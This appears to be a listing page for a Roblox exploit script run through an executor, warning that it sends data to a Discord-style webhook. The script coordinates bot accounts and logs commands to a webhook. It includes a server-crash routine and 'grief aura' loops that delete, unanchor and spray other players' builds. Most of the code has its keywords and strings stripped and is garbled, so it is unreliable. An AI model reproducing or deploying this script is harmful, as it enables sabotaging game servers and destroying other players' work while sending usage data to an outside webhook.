Sends data to a webhook
It contains a Discord (or similar) webhook link. Loggers use these to send out your details.
Run it
Copy the script and paste it into your executor.
.BotScriptLoaded
()
.BotScriptLoaded =
Players = :()
TextChatService = :()
ReplicatedStorage = :()
HttpService = :()
UserInputService = :()
TeleportService = :()
StarterGui = :()
RunService = :()
LocalPlayer = Players.LocalPlayer
spinning =
scriptConnection =
following =
followTarget =
autoR6 =
antiafk =
blacklistEnabled =
blacklistedPlayers = {}
chatChannel =
ownersURL =
blacklistURL =
WEBHOOK_URL =
WHITELIST_ACCOUNT =
BLACKLIST_ACCOUNT =
GameId = (.GameId)
JobId = (.JobId)
GITHUB_COMMAND_URL =
lastCommandId =
lastCommandTimestamp =
pollerRunning =
scriptRunning =
autoDallEnabled =
autoDallTarget =
MANIFEST_FILE =
isog = :() ~=
cfolder = :() :()
built =
childcube =
tempAdmins = {}
commandPrefix =
BOT_NAMES = {
,
,
,
,
,
,
,
,
,
,
,
}
isBot =
_, name (BOT_NAMES)
LocalPlayer.Name == name
isBot =
_connections = {}
_threads = {}
()
roster = {}
_, player (Players:())
_, name (BOT_NAMES)
player.Name == name
.(roster, player)
.(roster, (a, b) a.UserId < b.UserId )
roster
(roster)
i, player (roster)
player == LocalPlayer
i
(text, color)
(()
StarterGui:(, {
Title = ,
Text = (text),
Duration = ,
})
)
(conn)
conn
.(_connections, conn)
conn
(t)
t
.(_threads, t)
t
crashState = { mode = }
crashBti =
crashPti =
ALL_FACES = {
.NormalId.Front, .NormalId.Back,
.NormalId.Left, .NormalId.Right,
.NormalId.Top, .NormalId.Bottom,
}
(n)
t = .(n)
i = , n t[i] = .(.(, ))
.(t)
()
(()
LocalPlayer.ReplicationFocus =
(LocalPlayer, , .huge)
)
(name)
btools = {}
isog
_, v (LocalPlayer.Backpack:())
v:() v.Name == name
v:() v.Script:()
.(btools, { bt = v, e = v.Script.Event })
LocalPlayer.Character
_, v (LocalPlayer.Character:())
v:() v.Name == name
isog
.(btools, { bt = v, e = LocalPlayer.Backpack.Events })
v:() v.Script:()
found =
_, b (btools) b.bt == v found =
found
.(btools, { bt = v, e = v.Script.Event })
btools
()
()
crashState.mode ==
()
char = LocalPlayer.Character
char ()
hrp = char:()
hrp ()
pos = hrp.Position
(, pos)
btools = ()
paints = ()
(, #btools, , #paints)
#btools == #paints ==
()
()
watchFolder = cfolder:(LocalPlayer.Name) cfolder
(, watchFolder:())
()
crashState.mode =
.(()
crashBuilt =
crashChild =
placementConn = watchFolder.ChildAdded:((child)
crashChild = child
crashBuilt =
)
hum = LocalPlayer.Character LocalPlayer.Character:()
bt = btools[]
bt.bt.Parent ~= LocalPlayer.Character
(() hum:(bt.bt) )
.()
hrp
hrp.CFrame = .(pos + .(, , ))
.()
crashBuilt = ; crashChild =
()
(()
bt.e:(.Terrain, .NormalId.Top, pos, )
)
t0 = ()
RunService.Heartbeat:()
(crashBuilt crashChild) () - t0 >
(, crashBuilt, , crashChild)
crashChild
crashBuilt = ; crashChild =
()
(()
bt.e:(.Terrain, .NormalId.Top, pos, )
)
t1 = ()
RunService.Heartbeat:()
(crashBuilt crashChild) () - t1 >
(, crashBuilt, , crashChild)
placementConn:()
crashChild
()
crashState.mode =
crashBlock = crashChild
crashBuilt = ; crashChild =
pt = paints[]
pt.bt.Parent ~= LocalPlayer.Character
(() hum:(pt.bt) )
.()
(()
pt.e:(
crashBlock, .NormalId.Top, pos,
, .(, , ), ,
)
)
.()
_, face (ALL_FACES)
crashState.mode ~= crashBlock crashBlock.Parent
crashPti = crashPti +
p = paints[(crashPti % #paints) + ]
(()
p.e:(
crashBlock, face, pos,
, .(, , ), , (.(, ))
)
)
.()
crashState.mode ~= crashBlock crashBlock.Parent
crashState.mode =
(()
pt.e:(
crashBlock, .NormalId.Top, pos,
, , ,
)
)
.()
crashDeleteConn = watchFolder.ChildAdded:((newBlock)
crashState.mode ~= newBlock == crashBlock
.(()
newBlock newBlock.Parent
newBlock.CFrame = .(, -, )
newBlock.Parent = :()
)
)
bottomFace = .NormalId.Bottom
bottomCenter = crashBlock.Position - .(, crashBlock.Size.Y / , )
fireCount =
()
crashState.mode == crashBlock crashBlock.Parent
fireCount = fireCount +
fireCount >=
fireCount =
hum2 = LocalPlayer.Character LocalPlayer.Character:()
bt2 = LocalPlayer.Backpack:()
(LocalPlayer.Character LocalPlayer.Character:())
hum2 bt2
bt2.Parent == LocalPlayer.Character bt2.Parent = LocalPlayer.Backpack
RunService.Heartbeat:()
(() hum2:(bt2) )
RunService.RenderStepped:()
(() hum2:() )
.()
btools = ()
#btools == .();
c =
c = c +
crashBti = crashBti +
b = btools[(crashBti % #btools) + ]
(()
isog
b.e:(bottomCenter, bottomFace, crashBlock, .(, , ), )
b.e:(crashBlock, bottomFace, bottomCenter, )
)
RunService.Heartbeat:()
crashState.mode ~=
crashBlock crashBlock.Parent
c >
crashDeleteConn:()
crashBlock =
crashState.mode == crashState.mode =
()
)
()
crashState.mode =
()
gridSize =
stopped =
skipblock =
colorbool =
buildingtoxify =
oldprt =
cubehistory = {}
historynum =
historymax =
toxifybrick =
resizewait =
defaultcolor = .(, , )
BLOCK_TIMEOUT =
VERIFY_PASSES =
VERIFY_WAIT =
GRID_TOLERANCE =
DETAIL_TOLERANCE =
materials = {}
materials[.Material.SmoothPlastic] =
materials[.Material.Plastic] =
materials[.Material.CeramicTiles] =
materials[.Material.Brick] =
materials[.Material.WoodPlanks] =
materials[.Material.Ice] =
materials[.Material.Grass] =
materials[.Material.Sand] =
materials[.Material.Snow] =
materials[.Material.Glass] =
materials[.Material.Wood] =
materials[.Material.Slate] =
materials[.Material.Pebble] =
materials[.Material.Marble] =
materials[.Material.Granite] =
materials[.Material.DiamondPlate] =
materials[.Material.Metal] =
materials[.Material.Asphalt] =
materials[.Material.Concrete] =
materials[.Material.Pavement] =
materials[.Material.Neon] =
swappedmaterials = {}
k, v (materials) swappedmaterials[v] = k
normalids = {}
normalids[.NormalId.Right] = {.(,,), }
normalids[.NormalId.Top] = {.(,,), }
normalids[.NormalId.Back] = {.(,,), }
normalids[.NormalId.Left] = {.(-,,), }
normalids[.NormalId.Bottom] = {.(,-,), }
normalids[.NormalId.Front] = {.(,,-), }
(cf)
char = LocalPlayer.Character
root = char char:()
hum = char char:()
root hum hum.Health <=
root.AssemblyLinearVelocity = .zero
root.AssemblyAngularVelocity = .zero
root.CFrame = cf
root.AssemblyLinearVelocity = .zero
root.AssemblyAngularVelocity = .zero
(pos)
(.(pos + .(, , )))
(num, m)
.((num - ) / m) * m +
(pos, m)
.(
(pos.X, m gridSize),
(pos.Y, m gridSize),
(pos.Z, m gridSize)
)
(pos)
(pos, gridSize)
(pos, bsz, isDetail)
folder = :() :()
folder
tolerance = isDetail DETAIL_TOLERANCE GRID_TOLERANCE
expectedCenter = .(
pos.X + bsz.X / - ,
pos.Y + bsz.Y / - ,
pos.Z + bsz.Z / -
)
(container)
_, child (container:())
child:()
(child.Position - expectedCenter).Magnitude <= tolerance
isDetail
(child.Size - bsz).Magnitude <=
child:() child:()
(child)
(folder)
(pos, bsize, col, mat, transp, anch, collide, sprays)
(pos) == pos = pos.Position
p = .()
oldprt = p
p.Anchored = anch
p.CanCollide = collide
p.CastShadow =
p.CanQuery =
p.Color = col
p.Transparency = transp
p.Material = mat
bsize ~=
pos = .(
(pos.X + (bsize.X / )) - ,
(pos.Y + (bsize.Y / )) - ,
(pos.Z + (bsize.Z / )) -
)
p.Size = bsize .(gridSize, gridSize, gridSize)
p.CFrame = .(pos)
sprays
_, v (sprays)
face = .NormalId[v[]]
image = v[]
txt = v[]
sui = .()
sui.Face = face
sui.SizingMode = .SurfaceGuiSizingMode.PixelsPerStud
sui.PixelsPerStud =
_, count = .(txt, , )
count == .(txt)
img = .()
img.Image = image
img.BackgroundTransparency =
img.Size = .(, , , )
img.Parent = sui
tl = .()
tl.Text = txt
tl.BackgroundTransparency =
tl.TextScaled =
tl.TextColor3 = .(, , )
tl.Font = .Font.FredokaOne
tl.Size = .(, , , )
tl.Parent = sui
sui.Parent = p
p.Parent =
p
()
sp = :() :()
sp
sp:()
hrp = sp:()
hrp hrp.Position
sp:()
sp.Position
_, player (Players:())
player.Character
hrp = player.Character:()
hrp hrp.Position
.(, , )
(buildData)
spawnPos = ()
_, block (buildData)
bp = .(block.p[], block.p[], block.p[])
block.s
bp = .(
bp.X + (block.s[] / ) - ,
bp.Y + (block.s[] / ) - ,
bp.Z + (block.s[] / ) -
)
block._d = (bp - spawnPos).Magnitude
.(buildData, (a, b) a._d < b._d )
_, b (buildData) b._d =
buildData
(blocks)
minV, maxV
_, block (blocks)
p = block.p
p
s = block.s
cx = p[] + (s (s[] / - ) )
cy = p[] + (s (s[] / - ) )
cz = p[] + (s (s[] / - ) )
minV
minV = {cx, cy, cz}; maxV = {cx, cy, cz}
minV[] = .(minV[], cx); maxV[] = .(maxV[], cx)
minV[] = .(minV[], cy); maxV[] = .(maxV[], cy)
minV[] = .(minV[], cz); maxV[] = .(maxV[], cz)
minV .zero
.(
(minV[] + maxV[]) / ,
(minV[] + maxV[]) / ,
(minV[] + maxV[]) /
)
(rawPos, bsize, buildCenter, rotCF, offset)
rotCF offset rawPos
halfOff = .(bsize.X/ - , bsize.Y/ - , bsize.Z/ - )
origCenter = rawPos + halfOff
newCenter = origCenter
rotCF buildCenter
newCenter = buildCenter + (rotCF * (origCenter - buildCenter))
offset newCenter = newCenter + offset
newCenter - halfOff
(filename)
raw
ok = (() raw = (filename) )
ok raw raw ==
, .. filename
decodeOk, parsed = (()
HttpService:(raw)
)
decodeOk (parsed) ~=
,
rawBlocks
(parsed.blocks) ==
rawBlocks = parsed.blocks
parsed[] ~=
rawBlocks = parsed
,
resolved = {}
_, v (rawBlocks)
posses = v.p v.pos
posses
(posses[]) ~=
(posses[]) ~=
(posses[]) ~=
sizeArr = v.s v.size
sizeArr (
(sizeArr[]) ~=
(sizeArr[]) ~=
(sizeArr[]) ~=
sizeArr[] <= sizeArr[] <= sizeArr[] <=
)
bsz = sizeArr
.(sizeArr[], sizeArr[], sizeArr[])
.(gridSize, gridSize, gridSize)
colArr = v.c v.color
col = (colArr (colArr[]) == )
.(colArr[], colArr[], colArr[])
defaultcolor
mat = (v.m v.mat ):()
anch = v.a ~= v.a
coll = v.cc ~= v.cc
sprays =
rawSp = v.sp v.sprayed
rawSp
sprays = {}
_, sp (rawSp)
(sp[]) == .NormalId[sp[]]
.(sprays, sp)
#sprays == sprays =
isDetail = (
bsz.X ~= gridSize
bsz.Y ~= gridSize
bsz.Z ~= gridSize
)
.(resolved, {
p = { posses[], posses[], posses[] },
s = sizeArr,
bsz = bsz,
col = col,
mat = mat,
anch = anch,
coll = coll,
sprays = sprays,
isDetail = isDetail,
placed = ,
})
#resolved ==
,
rot = (parsed) == parsed.rot
off = (parsed) == parsed.off
rotCF = ((rot) == (rot[] ~= rot[] ~= rot[] ~= ))
.(.(rot[] ), .(rot[] ), .(rot[] ))
offset = ((off) == )
.(off[] , off[] , off[] )
{
blocks = resolved,
rotCF = rotCF,
offset = offset,
blockCount = #resolved,
}
(filename)
folder = :() :()
folder
()
blocks = {}
(container)
_, child (container:())
child:()
pos = child.Position
sz = child.Size
isDetail = (
sz.X ~= gridSize
sz.Y ~= gridSize
sz.Z ~= gridSize
)
block = {}
block.a = child.Anchored
block.cc = child.CanCollide
isDetail
block.p = {
pos.X - (sz.X / ) + ,
pos.Y - (sz.Y / ) + ,
pos.Z - (sz.Z / ) + ,
}
block.s = { sz.X, sz.Y, sz.Z }
block.p = {
pos.X - (gridSize / ) + ,
pos.Y - (gridSize / ) + ,
pos.Z - (gridSize / ) + ,
}
block.m = materials[child.Material]
block.o = child.Material.Name
block.c = {
.(child.Color.R * ),
.(child.Color.G * ),
.(child.Color.B * ),
}
sprayData = {}
_, gui (child:())
gui:()
faceName = gui.Face.Name
imageId =
txt =
imgLabel = gui:(, )
txtLabel = gui:(, )
imgLabel imageId = imgLabel.Image
txtLabel txt = txtLabel.Text
txt ~= imageId ~=
.(sprayData, { faceName, imageId, txt })
#sprayData > block.sp = sprayData
.(blocks, block)
child:() child:()
(child)
(folder)
#blocks ==
()
ok, encoded = (()
HttpService:(blocks)
)
ok
( .. (encoded))
writeOk, writeErr = (()
(filename, encoded)
)
writeOk
( .. (writeErr))
(.(, #blocks, filename))
buildblock = (pos, texture, color, bsize, bsizev3, premadebuild, origmaterial, sprays, anchored, collide, isDetail)
anchored == anchored =
collide == collide =
isDetail ==
isDetail = bsizev3 ~= (
bsizev3.X ~= gridSize
bsizev3.Y ~= gridSize
bsizev3.Z ~= gridSize
)
needsresize =
localBuilt =
localChildcube =
(()
LocalPlayer.Backpack.Build.Parent = LocalPlayer.Character
)
finalPos = isDetail pos (pos)
bsize ==
isDetail
bsize =
bsize =
LocalPlayer.PlayerGui:()
LocalPlayer.PlayerGui.Build:()
bsize = LocalPlayer.PlayerGui.Build.Button.Text
bsizev3 == isDetail oldprt
oldprt.Position ~= (pos)
bsize =
needsresize =
bsizev3 = .(, , )
pos = .(
(pos.X - (bsizev3.X / )) + ,
(pos.Y - (bsizev3.Y / )) + ,
(pos.Z - (bsizev3.Z / )) +
)
finalPos = pos
watchFolder = cfolder:(LocalPlayer.Name) cfolder
placementConn = watchFolder.ChildAdded:((child)
localBuilt
localBuilt =
localChildcube = child
historynum = (historynum % historymax) +
cubehistory[historynum] = child
buildingtoxify toxifybrick = child
)
deadline = () + BLOCK_TIMEOUT
LocalPlayer.Character
LocalPlayer.Character:()
LocalPlayer.Backpack:()
LocalPlayer.Backpack.Build.Parent = LocalPlayer.Character
LocalPlayer.Character LocalPlayer.Character:()
bt = LocalPlayer.Character.Build
ev = (bt:() bt.origevent)
(bt:() bt.Script:())
ev
(()
ev:(.Terrain, .NormalId.Top, finalPos, bsize)
)
(finalPos)
.(VERIFY_WAIT)
localBuilt localChildcube
(pos, bsizev3 .(gridSize, gridSize, gridSize), isDetail)
stopped () > deadline
placementConn:()
localBuilt =
localChildcube (
((color) == color ~= defaultcolor) texture
) (
LocalPlayer.Backpack:()
LocalPlayer.Character:()
) (
(colorbool premadebuild ~= ) colorbool
)
pp = localChildcube.Position + localChildcube.Size /
mode =
texture color
mode =
texture
mode =
args = {
localChildcube, .NormalId.Top, pp,
mode, color , texture ,
}
(() LocalPlayer.Backpack.Paint.Parent = LocalPlayer.Character )
paintDeadline = () + BLOCK_TIMEOUT
LocalPlayer.Character
LocalPlayer.Character:()
LocalPlayer.Backpack:()
LocalPlayer.Backpack.Paint.Parent = LocalPlayer.Character
LocalPlayer.Character LocalPlayer.Character:()
pt = LocalPlayer.Character.Paint
ev = (pt:() pt.origevent)
(pt:() pt.Script:())
ev
(() ev:(.(args)) )
(pp)
.(VERIFY_WAIT)
localChildcube localChildcube.Parent
localChildcube.Color == color
(texture localChildcube.Material == .Material[origmaterial ])
stopped skipblock
() > paintDeadline
localChildcube LocalPlayer.Character:()
localChildcube.Anchored ~= anchored
pp = localChildcube.Position + localChildcube.Size /
args = {
localChildcube, .NormalId.Top, pp,
, , ,
}
anchorDeadline = () + BLOCK_TIMEOUT
LocalPlayer.Character
LocalPlayer.Character:()
LocalPlayer.Backpack:()
LocalPlayer.Backpack.Paint.Parent = LocalPlayer.Character
LocalPlayer.Character LocalPlayer.Character:()
pt = LocalPlayer.Character.Paint
ev = (pt:() pt.origevent)
(pt:() pt.Script:())
ev
(() ev:(.(args)) )
(pp)
.()
localChildcube localChildcube.Parent
localChildcube.Anchored == anchored
stopped skipblock
() > anchorDeadline
localChildcube LocalPlayer.Character:()
localChildcube.CanCollide ~= collide
pp = localChildcube.Position + localChildcube.Size /
args = {
localChildcube, .NormalId.Top, pp,
, , ,
}
collideDeadline = () + BLOCK_TIMEOUT
LocalPlayer.Character
LocalPlayer.Character:()
LocalPlayer.Backpack:()
LocalPlayer.Backpack.Paint.Parent = LocalPlayer.Character
LocalPlayer.Character LocalPlayer.Character:()
pt = LocalPlayer.Character.Paint
ev = (pt:() pt.origevent)
(pt:() pt.Script:())
ev
(() ev:(.(args)) )
(pp)
.()
localChildcube localChildcube.Parent
localChildcube.CanCollide == collide
stopped skipblock
() > collideDeadline
localChildcube sprays ~= (
LocalPlayer.Backpack:()
LocalPlayer.Character:()
)
pp = localChildcube.Position + localChildcube.Size /
_, v (sprays)
stopped skipblock
payload = v[]
( payload payload == ) (v[]) == v[] ~=
payload = v[]
args = {
localChildcube, .NormalId[v[]], pp,
, , , payload
}
(() LocalPlayer.Backpack.Paint.Parent = LocalPlayer.Character )
LocalPlayer.Character:()
pt = LocalPlayer.Character.Paint
ev = (pt:() pt.origevent)
(pt:() pt.Script:())
ev
(() ev:(.(args)) )
(pp)
.()
localChildcube bsizev3 ~= (
bsizev3.X ~= gridSize
bsizev3.Y ~= gridSize
bsizev3.Z ~= gridSize
needsresize
) (
LocalPlayer.Character:()
LocalPlayer.Backpack:()
)
LocalPlayer.Character:()
LocalPlayer.Backpack.Shape.Parent = LocalPlayer.Character
axes = {
{ .NormalId.Right, },
{ .NormalId.Top, },
{ .NormalId.Back, },
}
_, axis (axes)
face, dim = axis[], axis[]
localChildcube localChildcube.Parent
localChildcube.Size[dim] == bsizev3[dim]
resizeDeadline = () + BLOCK_TIMEOUT
localChildcube localChildcube.Parent
pp = localChildcube.Position + localChildcube.Size /
dir =
localChildcube.Size[dim] > bsizev3[dim]
dir =
localChildcube.Size[dim] < bsizev3[dim]
dir =
dir
LocalPlayer.Character:()
LocalPlayer.Backpack:()
LocalPlayer.Backpack.Shape.Parent = LocalPlayer.Character
LocalPlayer.Character:()
sh = LocalPlayer.Character.Shape
ev = (sh:() sh.origevent)
(sh:() sh.Script:())
ev
(()
ev:(localChildcube, face, pp, dir)
)
(pp)
.(resizewait)
localChildcube localChildcube.Parent
localChildcube.Size[dim] == bsizev3[dim]
(dir == localChildcube localChildcube.Size[dim] <= )
stopped skipblock
() > resizeDeadline
skipblock =
oldprt oldprt:()
localChildcube =
(manifestId, filename)
filename = filename MANIFEST_FILE
isBot
()
manifest, err = (filename)
manifest
(err )
roster = ()
myIndex = (roster)
botCount = .(#roster, )
rotCF = manifest.rotCF
offset = manifest.offset
allBlocks = manifest.blocks
buildCenter = (rotCF offset) (allBlocks)
myBlocks = {}
i, v (allBlocks)
((i - ) % botCount) + == myIndex
.(myBlocks, v)
myBlocks = (myBlocks)
#myBlocks ==
( .. LocalPlayer.Name)
stopped =
skipblock =
total = #myBlocks
placed =
hardFailed = {}
(.(
, total, LocalPlayer.Name
))
i, v (myBlocks)
stopped
bsz = v.bsz
rawPos = .(v.p[], v.p[], v.p[])
pos = (rawPos, bsz, buildCenter, rotCF, offset)
pos.X ~= pos.X pos.Y ~= pos.Y pos.Z ~= pos.Z
pos.Magnitude >
(pos, bsz, v.isDetail)
placed = placed +
(pos, bsz, v.col, swappedmaterials[v.mat] .Material.SmoothPlastic)
(pos, v.mat, v.col, , bsz, , , v.sprays, v.anch, v.coll, v.isDetail)
(pos, bsz, v.isDetail)
placed = placed +
v.placed =
.(hardFailed, v)
i % ==
(.(
, placed, total, #hardFailed
))
.()
stopped
()
#hardFailed >
(.(
, #hardFailed
))
retryQueue = hardFailed
pass =
#retryQueue > pass < VERIFY_PASSES stopped
pass = pass +
stillFailed = {}
_, v (retryQueue)
stopped
bsz = v.bsz
rawPos = .(v.p[], v.p[], v.p[])
pos = (rawPos, bsz, buildCenter, rotCF, offset)
(pos, bsz, v.isDetail)
placed = placed +
(pos, bsz, v.col, swappedmaterials[v.mat] .Material.SmoothPlastic)
(pos, v.mat, v.col, , bsz, , , v.sprays, v.anch, v.coll, v.isDetail)
(pos, bsz, v.isDetail)
placed = placed +
.(stillFailed, v)
.()
retryQueue = stillFailed
#retryQueue >
(.(
, pass, VERIFY_PASSES, #retryQueue
))
.()
#retryQueue >
(.(
,
#retryQueue, VERIFY_PASSES
))
()
(.(
, placed, total, LocalPlayer.Name
))
()
stopped =
skipblock =
COMMAND_LIST =
ownerUsernames = {}
UserInputService.WindowFocusReleased:(()
.()
ReplicatedStorage:():()
)
success, response = (()
:(ownersURL)
)
success
ownerUsernames = HttpService:(response)
()
.BotScriptLoaded =
()
ok, res = (()
:(blacklistURL)
)
ok res
blacklistedPlayers = HttpService:(res)
count =
_, val (blacklistedPlayers)
val == count = count +
( .. count .. )
()
(player)
blacklistedPlayers[player.Name] ==
(msg)
chatChannel
(() chatChannel:(msg) )
(()
ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:(msg, )
)
(player)
LocalPlayer.Name ~= BLACKLIST_ACCOUNT
character = LocalPlayer.Character
backpack = LocalPlayer:()
character backpack
humanoid = character:()
arkenstone = character:() backpack:()
arkenstone
arkenstone.Parent == backpack
humanoid:(arkenstone)
.()
()
( .. player.Name)
.()
( .. player.Name)
.()
( .. player.Name)
()
(executor, command, args, cmdSuccess, cmdError)
LocalPlayer.Name ~= WHITELIST_ACCOUNT
timestamp = .()
statusIcon = cmdSuccess
color = cmdSuccess
fields = {
{ name = , value = .. executor .. , inline = },
{ name = , value = .. command .. , inline = },
{ name = , value = args ~= ( .. args .. ) , inline = },
{ name = statusIcon .. , value = cmdSuccess , inline = },
{ name = , value = .. GameId .. , inline = },
{ name = , value = .. JobId .. , inline = },
{ name = , value = .. timestamp .. , inline = },
}
cmdError
.(fields, { name = , value = .. cmdError .. , inline = })
payload = HttpService:({
username = ,
embeds = {{
title = statusIcon .. ,
color = color,
fields = fields,
footer = { text = }
}}
})
(()
({ Url = WEBHOOK_URL, Method = , Headers = { [] = }, Body = payload })
)
(player)
ownerUsernames[player.Name] ==
(partial)
partial = partial:()
_, p (Players:())
p.Name:():(partial, , ) p.DisplayName:():(partial, , )
p
VirtualUser = :()
VIM = :()
.(()
.()
antiafk
VIM:(, , , , , )
.()
VIM:(, , , , , )
)
.(()
following followTarget
myChar = LocalPlayer.Character
targetChar = followTarget.Character
myChar targetChar
myHRP = myChar:()
targetHRP = targetChar:()
myHRP targetHRP
myHRP.CFrame = targetHRP.CFrame * .(, , )
.()
)
.(()
.()
pollerRunning
autoDallEnabled
ok, timeValue = (()
LocalPlayer.leaderstats.Time.Value
)
ok (timeValue) ~=
timeValue <
( .. autoDallTarget .. .. timeValue)
.()
)
Players.PlayerAdded:((newPlayer)
blacklistEnabled (newPlayer)
.()
(newPlayer)
autoR6
character = LocalPlayer.Character
backpack = LocalPlayer:()
character backpack
humanoid = character:()
arkenstone = character:() backpack:()
arkenstone
arkenstone.Parent == backpack humanoid:(arkenstone) .()
.()
( .. newPlayer.Name)
)
agEnabled =
agCooldowns = {}
agCooldownTime =
agTimeFilter =
agWhitelist = { [LocalPlayer.Name] = }
agInGame =
agEnlighten =
agDetectDelete =
agDetectPaint =
agDetectAnchor =
agDetectSpam =
blockOwners = {}
spamCounters = {}
griefMessages = {
[] = ,
[] = ,
[] = ,
[] = ,
}
(playerName)
agCooldownTime ==
last = agCooldowns[playerName]
last
() - last >= agCooldownTime
(playerName)
agCooldowns[playerName] = ()
(player)
agWhitelist[player.Name] ==
(player)
agTimeFilter ==
ok, val = (()
player.leaderstats.Time.Value
)
ok (val) == val < agTimeFilter
(player)
agEnlighten
char = player.Character
bp = player.Backpack
char (char:() (bp bp:()))
(player)
agEnabled
(player)
(player)
(player)
(player.Name)
(player, griefType)
(player)
(player.Name)
template = griefMessages[griefType]
(.(template, player.DisplayName))
agConnections = {}
()
_, conn (agConnections)
conn:()
agConnections = {}
blockOwners = {}
spamCounters = {}
agCooldowns = {}
()
()
folder = :() :()
folder
()
(player)
playerFolder = folder:(player.Name)
playerFolder
t0 = ()
waitConn
waitConn = folder.ChildAdded:((child)
child.Name == player.Name
waitConn:()
playerFolder = child
)
.() playerFolder () - t0 >
waitConn (() waitConn:() )
playerFolder
playerFolder = folder
conn = playerFolder.ChildAdded:((block)
blockOwners[block] = player.Name
agDetectSpam
spamCounters[player.Name] = (spamCounters[player.Name] ) +
count = spamCounters[player.Name]
.(, ()
spamCounters[player.Name] = .(, (spamCounters[player.Name] ) - )
)
count >=
spamCounters[player.Name] =
(player, )
agDetectDelete
delConn
delConn = block:():(()
block.Parent ==
delConn:()
_, p (Players:tPlayers()) do
if p.Name ~= player.Name and p ~= LocalPlayer then
if agInGame or p.Parent then
flagPlayer(p, "delete")
break
end
end
end
end
end)
table.insert(agConnections, delConn)
end
if agDetectPaint then
local paintConn
paintConn = block:GetPropertyChangedSignal("Color"):Connect(function()
for _, p in ipairs(Players:GetPlayers()) do
if p.Name ~= player.Name and p ~= LocalPlayer then
flagPlayer(p, "paint")
break
end
end
end)
table.insert(agConnections, paintConn)
end
if agDetectAnchor then
local anchorConn
anchorConn = block:GetPropertyChangedSignal("Anchored"):Connect(function()
if not block.Anchored then
for _, p in ipairs(Players:GetPlayers()) do
if p.Name ~= player.Name and p ~= LocalPlayer then
flagPlayer(p, "anchor")
break
end
end
end
end)
table.insert(agConnections, anchorConn)
end
end)
table.insert(agConnections, conn)
end
-- Track all current players
for _, p in ipairs(Players:GetPlayers()) do
if p ~= LocalPlayer then
task.spawn(function() trackPlacement(p) end)
end
end
-- Track players who join later
local joinConn = Players.PlayerAdded:Connect(function(p)
if p ~= LocalPlayer then
task.spawn(function()
task.wait(2) -- give time for their folder to be created
trackPlacement(p)
end)
end
end)
table.insert(agConnections, joinConn)
chat("✅ Anti-grief detection started")
end
-- ==========================================
-- GRIEF AURAS (from CMDLINE2.0)
-- ==========================================
local griefAuraActive = false
local unanchorAuraActive = false
local sprayAuraActive = false
local function findBtoolsBot(name)
local btools = {}
local backpack = LocalPlayer:FindFirstChildOfClass("Backpack")
local char = LocalPlayer.Character
if backpack then
for _, v in ipairs(backpack:GetChildren()) do
if v:IsA("Tool") and v.Name == name then
if isog then
local events = LocalPlayer.Backpack:FindFirstChild("Events")
if events then table.insert(btools, { bt = v, e = events }) end
elseif v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
table.insert(btools, { bt = v, e = v.Script.Event })
end
end
end
end
if char then
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Tool") and v.Name == name then
if isog then
local events = LocalPlayer.Backpack:FindFirstChild("Events")
if events then
local found = false
for _, b in ipairs(btools) do if b.bt == v then found = true end end
if not found then table.insert(btools, { bt = v, e = events }) end
end
elseif v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
local found = false
for _, b in ipairs(btools) do if b.bt == v then found = true end end
if not found then table.insert(btools, { bt = v, e = v.Script.Event }) end
end
end
end
end
return btools
end
local function startGriefAura()
griefAuraActive = true
local folder = workspace:FindFirstChild("Cubes") or workspace:FindFirstChild("Bricks")
task.spawn(function()
while griefAuraActive do
local ok, err = pcall(function()
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if hrp and folder then
local dtools = findBtoolsBot("Delete")
if #dtools > 0 then
for _, p in ipairs(Players:GetPlayers()) do
if p ~= LocalPlayer and p.Character then
local hrp2 = p.Character:FindFirstChild("HumanoidRootPart")
if hrp2 then
local cubes = {}
for _, v in ipairs(folder:GetDescendants()) do
if v:IsA("BasePart") then
table.insert(cubes, { v, (v.Position - hrp2.Position).Magnitude })
end
end
table.sort(cubes, function(a, b) return a[2] < b[2] end)
for _, v in ipairs(cubes) do
if not griefAuraActive then break end
local dt = dtools[math.random(#dtools)]
dt.bt.Parent = LocalPlayer.Character
if isog then
dt.e:FireServer(hrp.Position, Enum.NormalId.Top, v[1], Color3.new(0,0,0), "Smooth")
else
dt.e:FireServer(v[1], hrp.Position)
end
task.wait(0.1)
end
end
end
end
end
end
end)
if not ok then warn("[GriefAura]", err) end
task.wait()
end
end)
end
local function startUnanchorAura()
unanchorAuraActive = true
local folder = workspace:FindFirstChild("Cubes") or workspace:FindFirstChild("Bricks")
task.spawn(function()
local pti = 0
while unanchorAuraActive do
local ok, err = pcall(function()
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if hrp and folder then
local paints = findBtoolsBot("Paint")
if #paints > 0 then
local cubes = {}
for _, v in ipairs(folder:GetDescendants()) do
if v:IsA("BasePart") and v.Anchored == true then
table.insert(cubes, { v, (v.Position - hrp.Position).Magnitude })
end
end
table.sort(cubes, function(a, b) return a[2] < b[2] end)
for _, v in ipairs(cubes) do
if not unanchorAuraActive then break end
pti = pti + 1
local pt = paints[(pti % #paints) + 1]
pt.bt.Parent = LocalPlayer.Character
pt.e:FireServer(
v[1], Enum.NormalId.Top, hrp.Position,
"material", Color3.new(0,0,0), "anchor", ""
)
task.wait(0.1)
end
end
end
end)
if not ok then warn("[UnanchorAura]", err) end
task.wait()
end
end)
end
local function startSprayAura()
sprayAuraActive = true
local folder = workspace:FindFirstChild("Cubes") or workspace:FindFirstChild("Bricks")
task.spawn(function()
local pti = 0
local sides = {
Enum.NormalId.Front, Enum.NormalId.Back,
Enum.NormalId.Left, Enum.NormalId.Right,
Enum.NormalId.Top,
}
while sprayAuraActive do
local ok, err = pcall(function()
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if hrp and folder then
local paints = findBtoolsBot("Paint")
if #paints > 0 then
local cubes = {}
for _, v in ipairs(folder:GetDescendants()) do
if v:IsA("BasePart") then
table.insert(cubes, { v, (v.Position - hrp.Position).Magnitude })
end
end
table.sort(cubes, function(a, b) return a[2] < b[2] end)
for _, v in ipairs(cubes) do
if not sprayAuraActive then break end
pti = pti + 1
local pt = paints[(pti % #paints) + 1]
pt.bt.Parent = LocalPlayer.Character
pt.e:FireServer(
v[1], sides[math.random(#sides)], hrp.Position,
"both \u{1F91D}", Color3.fromRGB(30, 245, 2),
"spray", "raided by hotdogn and tcoraids"
)
task.wait(0.1)
